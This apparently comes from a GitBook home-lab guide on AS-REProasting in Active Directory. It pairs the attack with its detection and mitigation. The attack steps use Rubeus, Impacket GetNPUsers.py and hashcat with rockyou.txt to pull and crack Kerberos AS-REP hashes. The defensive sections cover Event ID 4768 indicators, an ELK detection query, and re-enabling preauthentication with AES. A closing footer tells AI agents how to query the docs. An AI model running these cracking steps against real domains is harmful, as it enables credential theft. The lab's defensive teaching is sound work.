> For the complete documentation index, see [llms.txt](https://faresbltagy.gitbook.io/footprintinglabs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://faresbltagy.gitbook.io/footprintinglabs/home-lab-attack-and-defense-scenarios/as-reproasting-attack-and-defense.md). # AS-REProasting Attack & Defense ## What is AS-REProasting? AS-RepRoasting is a cybersecurity attack targeting Active Directory environments, specifically accounts where Kerberos preauthentication is disabled. Attackers send an Authentication Server Request (AS-REQ) without the encrypted timestamp, and if preauthentication isn't required, the Domain Controller (DC) responds with an Authentication Server Reply (AS-REP) containing Ticket Granting Ticket (TGT) data. This data, often encrypted with an insecure algorithm like RC4, can be extracted and cracked offline to reveal passwords, enabling unauthorized access. ## Lab Setup Before we begin, ensure your home lab meets these requirements: 1. Domain Controller (DC): A Windows Server configured as an AD domain controller (e.g., lab.local). 2. Client Machine: A Windows client joined to the domain. 3. Kali Linux Machine 4. Ubuntu Machine (Elasticsearch & Kibana) We also need to create a user with the "Do not require Kerberos preauthentication" property enabled. 
New-ADUser -Name "victim" -UserPrincipalName victim@Main.local -SAMAccountName victim -AccountPassword (ConvertTo-SecureString "P@ssword123" -AsPlainText -Force) -Enabled $true
Set-ADAccountControl -Identity "victim" -DoesNotRequirePreAuth $true
```powershell Get-ADUser -Filter * -Properties DoesNotRequirePreAuth | Where-Object { $_.DoesNotRequirePreAuth -eq $True -and $_.Enabled -eq $True } ```
## Audit Policies to Enable **🔹 Enable "Audit Kerberos Authentication Service"** ``` Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Account Logon ```
* Event ID 4768 **🔹 Enable "Audit Kerberos Service Ticket Operations"** ``` Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Account Logon ```
* Event ID 4769 **🔹 Enable "Audit Logon"** ``` Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Logon/Logoff ```
* **Event ID 4624** → Successful logons. * **Event ID 4625** → Failed logons. ```powershell gpupdate /force ``` To set up Elasticsearch and Kibana on an Ubuntu machine, refer to the following guide: [Configure Elasticsearch and Kibana on Ubuntu](https://faresbltagy.gitbook.io/footprintinglabs/build-elk-lab/configure-elasticsearch-and-kibana-setup-in-ubuntu). Also we need to download and install Winlogbeat on the Domain Controller to forward logs to our ELK stack. For detailed setup instructions, refer to: [Winlogbeat Configuration Guide](https://faresbltagy.gitbook.io/footprintinglabs/build-elk-lab/set-up-winlogbeat-and-filebeat-for-log-collection). ### The Attack - AS-REProasting * Attackers identifying accounts with preauthentication disabled, either by querying AD using PowerShell with LDAP filters or by sending AS-REQ messages and checking for responses without errors. * Sending an AS-REQ message without the encrypted timestamp for these accounts. * Receiving an AS-REP message from the DC, which contains TGT data encrypted with an insecure algorithm like RC4, making it vulnerable to offline password cracking attacks similar to Kerberoasting. To retrieve crackable hashes, we can utilize Rubeus. This time, we will leverage the ***asreproast*** action. If no specific username is provided, Rubeus will extract hashes for all users who have Kerberos preauthentication disabled. ```powershell .\Rubeus.exe asreproast /outfile:ticket.txt ```
We have successfully obtained the hash for the victim user, which has been saved to ***ticket.exe***. Next, we will attempt to crack it using Hashcat. ```bash sudo hashcat -m 18200 -a 0 ticket.txt /usr/share/wordlists/rockyou.txt --outfile ticketcrack.txt --force ```
* **`hashcat`**: The password-cracking tool. * **`-m 18200`**: Specifies the hash type. `18200` is the mode for Kerberos 5 AS-REP (pre-authentication) hashes. * **`-a 0`**: Specifies the attack mode. `0` means a straight dictionary attack. * **`ticket.txt`**: The file containing the Kerberos ticket hash(es) to crack. * **`/usr/share/wordlists/rockyou.txt`**: The wordlist (dictionary) used for cracking. `rockyou.txt` is a common password list. * **`--outfile ticketcrack.txt`**: Saves the cracked passwords to `ticketcrack.txt`. * **`--force`**: Forces Hashcat to run, even if it detects potential issues (e.g., unsupported hardware). ```bash sudo cat ticketcrack.txt ```
We can also execute the attack using **GetNPUsers.py** from Impacket to retrieve password hashes. To facilitate this, I created a file named **users.txt**, which contains a list of usernames, including the target user, "victim," for use in the attack. ```bash sudo python3 GetNPUsers.py Main.local/ -usersfile /home/fares/users.txt -format hashcat -outputfile hashes.txt ```
This command runs a Python script (`GetNPUsers.py`) from the **Impacket** toolkit to extract **Kerberos AS-REP hashes** for users in Active Directory who have **pre-authentication disabled**. ## Defenses Against AS-RepRoasting Defending against AS-RepRoasting requires a multi-layered approach to mitigate the risk of exploitation: * **`Enable Kerberos Preauthentication:`** Ensure all user accounts have preauthentication enabled by setting msDS-kerb-pre-auth-required to 1. Use PowerShell scripts to locate accounts without preauth, such as the command mentioned earlier, and enable it to prevent offline cracking. This ensures the DC can decrypt the timestamp, validating the user's credentials. * **`Implement Strong Password Policies:`** Enforce strong passwords (25+ characters, periodic expiration) to increase the difficulty of cracking extracted hashes. * **`Use AES Encryption:`** Where possible, configure Kerberos to use AES encryption instead of RC4, as RC4 is considered insecure and facilitates hash cracking. After the attack has occurred, we will analyze key Event IDs to gain insights into the incident and understand what happened. Event ID 4768 – Kerberos Authentication (AS-REQ) I executed the attack using two different methods: one from a Windows machine and another from a Kali machine. As a result, in Event ID 4768, the source IP address will differ for each instance. This event was recorded during the attack on the domain from a Windows machine that was joined to the domain and leveraged Rubeus.
Here, we observe the following indicators: * **TicketEncryptionType: 0x17 (RC4)** → A common encryption type associated with AS-REP Roasting attacks. * **PreAuthType: 0** → Indicates logon without pre-authentication. This event was logged during the attack on the domain from a Kali machine.
However, when executing the attack from a Kali machine, the ticket options change, while the Result code, Ticket encryption type, and Pre-authentication type remain unchanged. Based on the insights gathered, we can develop detection rule to enhance security. Let's begin by investigating this attack using ELK. ```sparql event.code: 4768 and (winlog.event_data.TicketOptions: "0x50800000" OR winlog.event_data.TicketOptions:"0x40800010" ) ```
Let's create a rule based on Event Code, Ticket Options, Pre-Authentication Type, and Ticket Encryption Type. While a threshold rule could be used to detect anomalies based on the number of tickets generated within a short time frame, grouped by source IP, in this case, we have a single user with Pre-Authentication disabled. Therefore, we will create a custom query rule tailored to this scenario.
```sparql event.code: 4768 and winlog.event_data.TicketOptions: ("0x50800000" OR "0x40800010" ) AND winlog.event_data.PreAuthType:"0" AND winlog.event_data.TicketEncryptionType: ("0x17" OR "0x3") ```
This rule means: * At each execution (every 1 minute), the rule analyzes data collected over the last 5 minutes (the look-back time). * For example, if the rule runs at 5:21 PM, it will check data from 5:16 PM to 5:21 PM. Then, at 5:22 PM, it will check data from 5:17 PM to 5:22 PM, and so forth.
Now, let's save the rule and reattempt the attack to verify if any alerts are triggered.
These rules are not the final production-ready versions. When deploying them in real-world environments, they need to be continuously tuned to minimize false positives as much as possible. ## Other Mitigations. Our attacks (Kali with Ticket Options: 0x50800000 and Rubeus with 0x40800010) succeeded due to Pre-Authentication Type: 0, indicating preauthentication was disabled for the target account (victim). Both used RC4-HMAC (0x17), producing crackable hashes because the domain controller didn’t require preauthentication validation. Ensuring this option is disabled is the most direct mitigation. #### **`DoesNotRequirePreAuth` Flag** * **`False` (Pre-Authentication Enabled)**: **Safe** * Kerberos pre-authentication is **required**. * The user must provide valid credentials (encrypted timestamp) before a Ticket Granting Ticket (TGT) is issued. * This prevents **replay attacks** and **brute-force attacks**, making it the secure default. * **`True` (Pre-Authentication Disabled)**: **Not Safe** * Kerberos pre-authentication is **not required**. * An attacker can request a TGT without providing valid credentials, making the account vulnerable to: * **Brute-force attacks**: Attackers can guess passwords offline. * **Pass-the-ticket attacks**: Attackers can reuse captured tickets. * This should only be enabled if absolutely necessary (e.g., for compatibility with legacy systems). Let's enable Pre-Authentication for the user account named "victim." ```powershell Set-ADAccountControl -Identity victim -DoesNotRequirePreAuth $false Get-ADUser -Identity victim -Property DoesNotRequirePreAuth | Select-Object SamAccountName, DoesNotRequirePreAuth Get-ADUser -Filter * -Properties DoesNotRequirePreAuth | Where-Object { $_.DoesNotRequirePreAuth -eq $True -and $_.Enabled -eq $True } ```
We also need to implement AES-256 encryption to replace weak ciphers and enhance security. ```powershell Set-ADUser -Identity victim -KerberosEncryptionType AES256 ``` Now, let's examine the properties of the "victim" account following these modifications. ```powershell Get-ADUser -Identity "victim" -Properties UserPrincipalName,MemberOf,DoesNotRequirePreAuth,KerberosEncryptionType ```
Let's attempt the attack again to assess whether it succeeds or fails. ```powershell .\Rubeus.exe asreproast /outfile:ticket.txt ```
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://faresbltagy.gitbook.io/footprintinglabs/home-lab-attack-and-defense-scenarios/as-reproasting-attack-and-defense.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.